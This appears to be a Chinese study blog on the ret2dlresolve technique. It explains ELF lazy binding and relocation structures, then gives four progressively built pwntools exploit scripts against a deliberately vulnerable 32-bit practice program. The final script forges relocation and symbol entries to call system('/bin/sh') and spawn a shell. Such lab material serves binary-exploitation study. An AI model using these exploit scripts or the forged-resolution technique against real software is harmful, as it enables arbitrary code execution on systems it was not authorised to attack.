ret2dlresolve学习笔记

  1. 1. 写在前面
  2. 2. 前置知识
  3. 3. 延迟绑定
  4. 4. 练习
    1. 4.1. 小练习1
      1. 4.1.1. exp
    2. 4.2. 小练习2
      1. 4.2.1. exp
    3. 4.3. 小练习3
      1. 4.3.1. exp
    4. 4.4. 小练习4
      1. 4.4.1. exp
  5. 5. 大佬博客

写在前面

本篇文章只是一些学习记录、打卡,很大部分是摘自其他大佬博客,还有一些自己的东西,文末会贴上链接,练习建议自己独立完成。

前置知识

在Linux中,程序使用_dl_runtime_resolve(link_map,reloc_offset)来对动态链接的函数进行重定位。而ret2dlresolve攻击的核心就是控制相应的参数及其对应地址的内容,从而控制解析的函数。

延迟绑定

需要了解3个结构以及他们之间的关系

程序在执行前,如果对整个动态链接库函数进行符号解析的话,是非常浪费资源的,因为一个程序不可能调用动态链接库中所有的函数。我们最好能做到只对用到的函数进行函数解析,这样可以大大提高文件链接的效率,加快程序的启动速度。

这时候,就出现了延迟绑定技术,我们通过plt表(过程链接表),在第一次调用函数的时候,来确定函数的地址,把函数的实际地址存储在got表相对的偏移处。

试想一下,在这个过程中,当我们第一次调用函数,要向got表写入函数真实地址的时候,我们是不是需要一个管理的工具?这个管理的工具就是_dl_runtime_resolve()函数。函数需要两个参数,一个是要被绑定的函数所在的模块,一个是要被绑定函数的符号名。

函数原型:_dl_runtime_resolve(link_map,reloc_arg)

注:got表实际上是分为.got表和got.plt表,got.plt表(全局函数偏移表)中存放的是动态链接库函数,.got表(全局变量偏移表)里面的偏移主要是全局变量。我们在这里讨论的是got.plt表。

.got.plt表的前三项的含义分别如下:

1.got[0],第一项保存的是”.dynamic”段的地址,这个段描述了本模块动态链接相关的信息;

2.got[1],第二项保存的是本模块的ID;

3.got[2],第三项保存的是_dl_runtime_resolve()函数的地址。

且我们需要知道.got.plt前三项的特殊用途

address of .dynamic

link_map

dl_runtime_resolve

_dll_runtime_resolve函数的2个参数

_dll_runtime_resolve函数的运行过程

练习

小练习1

参考博客:

ret2dlresolve超详细教程(x86&x64)_77Pray的博客-CSDN博客

先编译以下代码,逐步利用_dl_fixup函数最后get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";

setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}//gcc fun.c -fno-stack-protector -no-pie -m32 -o fun

首先是先栈迁移到bss段,再手动调用plt[0],解析write函数,把命令打印出来,我们只需提前push reloc_arg(push 20h)即可完成利用

对应的是这一句

has
1
_dl_fixup(struct link_map *1,ElfW(Word) reloc_arg)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='i386'
binary = './fun'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
#gdb.attach(io,'b *80491D8')
elf=ELF(binary)
ppp_ret = 0x080492d9
pop_ebp_ret = 0x080492db
leave_ret = 0x08049105
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io.recv()
plt_0 = 0x08049020
fuke_stack = elf.bss() + 0x800
pay = b'a'*0x70 + p32(elf.sym['read']) + p32(ppp_ret) + p32(0) + p32(fuke_stack) + p32(0x100) + p32(pop_ebp_ret) + p32(fuke_stack) + p32(leave_ret)
io.sendline(pay)
massage = b'you_pwn_it\0'
pay = b'a'*4 + p32(plt_0) + p32(0x20) + p32(0) + p32(1) + p32(fuke_stack+0x60) + p32(len(massage))
pay = pay.ljust(0x60,b'a') + massage
io.sendline(pay)
io.interactive()

成功打印字符串

小练习2

这一步我们控制好reloc_arg的大小,使reloc的位置落在可控地址(bss段)内,在bss段手动伪造出reloc,即伪造.rel.plt中关于write的内容,从而可以控制它的r_info

对应这一句

1
2
// 通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);

.rel.plt节是用于函数重定位,**.rel.dyn**是用于变量重定位

下面是rel的结构体定义

1
2
3
4
typedef struct{
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引
}Elf32_Rel;

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='i386'
binary = './fun'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
#gdb.attach(io,'b *80491D8')
elf=ELF(binary)
ppp_ret = 0x080492d9
pop_ebp_ret = 0x080492db
leave_ret = 0x08049105
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io.recv()
plt_0 = 0x08049020
relplt_table = 0x08048364
fuke_stack = elf.bss() + 0x800
fuke_offset = fuke_stack + 0x30 - relplt_table
pay = b'a'*0x70 + p32(elf.sym['read']) + p32(ppp_ret) + p32(0) + p32(fuke_stack) + p32(0x100) + p32(pop_ebp_ret) + p32(fuke_stack) + p32(leave_ret)
io.sendline(pay)
massage = b'you_pwn_it\0'
pay = b'a'*4 + p32(plt_0) + p32(fuke_offset) + p32(0) + p32(1) + p32(fuke_stack+0x60) + p32(len(massage))
pay = pay.ljust(0x30,b'a') + p32(elf.bss()) + p32(0x607)
pay = pay.ljust(0x60,b'a') + massage
io.sendline(pay)

io.interactive()

小练习3

这一步我们控制好reloc中的r_info,使sym落在可控地址内,从而伪造sym,从而可以控制它的st_name(偏移)

对应这两句

1
2
3
4
   // 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);

.dynsym节包含了动态链接符号表。ELF32_Sym[num]中的num对应着**ELF_R_SYM(Elf32_Rel->r_info)**。根据定义,

1
ELF_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel-> r_info) >> 8

ym的结构体如下(大小为0x10)

has
1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
}Elf32_Sym;

注意16字节对齐

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='i386'
binary = './fun'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
#gdb.attach(io,'b *80491D8')
elf=ELF(binary)
ppp_ret = 0x080492d9
pop_ebp_ret = 0x080492db
leave_ret = 0x08049105
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io.recv()
plt_0 = 0x08049020
relplt_table = 0x08048364
sym_table = 0x0804820C
fuke_stack = elf.bss() + 0x800
fuke_offset = fuke_stack + 0x30 - relplt_table

align = 0x10 - (fuke_stack + 0x40 - sym_table)%16
fuke_rel_offset = (((fuke_stack + 0x40 + align - sym_table)//16)<<8)|0x7
pay = b'a'*0x70 + p32(elf.sym['read']) + p32(ppp_ret) + p32(0) + p32(fuke_stack) + p32(0x100) + p32(pop_ebp_ret) + p32(fuke_stack) + p32(leave_ret)
io.sendline(pay)
massage = b'you_pwn_it\0'
pay = b'a'*4 + p32(plt_0) + p32(fuke_offset) + p32(0) + p32(1) + p32(fuke_stack+0x60) + p32(len(massage))
pay = pay.ljust(0x30,b'a') + p32(elf.bss()) + p32(fuke_rel_offset)
pay = pay.ljust(0x40+align,b'a') + p32(0x80482EE-0x80482AC) + p32(0)*2 + p32(0x12)
pay = pay.ljust(0x60,b'a') + massage
io.sendline(pay)

io.interactive()


小练习4

相信到了这一步,对于接下来要做什么已经很清楚了,既然在上一步我们能控制st_name,那接下来自然是伪造st_name,从而可以控制字符串表

对应这一句

1
2
// 接着通过strtab+(sym->st_name)找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
1
2
3
4
原本:
st_name = write_strtab - strtab
伪造后:
fake_name = fake_write_str_addr - strtab

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='i386'
binary = './fun'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
#gdb.attach(io,'b *80491D8')
elf=ELF(binary)
ppp_ret = 0x080492d9
pop_ebp_ret = 0x080492db
leave_ret = 0x08049105
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io.recv()
plt_0 = 0x08049020
relplt_table = 0x08048364
sym_table = 0x0804820C
fuke_stack = elf.bss() + 0x800
fuke_offset = fuke_stack + 0x30 - relplt_table

align = 0x10 - (fuke_stack + 0x40 - sym_table)%16
fuke_rel_offset = (((fuke_stack + 0x40 + align - sym_table)//16)<<8)|0x7
pay = b'a'*0x70 + p32(elf.sym['read']) + p32(ppp_ret) + p32(0) + p32(fuke_stack) + p32(0x100) + p32(pop_ebp_ret) + p32(fuke_stack) + p32(leave_ret)
io.sendline(pay)
massage = b'/bin/sh\0'
pay = b'a'*4 + p32(plt_0) + p32(fuke_offset) + p32(0) + p32(fuke_stack+0x60)
pay = pay.ljust(0x30,b'a') + p32(elf.bss()) + p32(fuke_rel_offset)
pay = pay.ljust(0x40+align,b'a') + p32(fuke_stack + 0x70 -0x80482AC) + p32(0)*2 + p32(0x12)
pay = pay.ljust(0x60,b'a') + massage
pay = pay.ljust(0x70,b'a') + b'system\0'
io.sendline(pay)

io.interactive()

大佬博客

ret2dlresolve利用方法_九层台-CSDN博客

栈溢出之ret2dlresolve学习 - FreeBuf网络安全行业门户

ret2dlresolve超详细教程(x86&x64)_77Pray的博客-CSDN博客

[新手向]ret2dl-resolve详解

PWN——ret2dl_resolve - Riv4ille - 博客园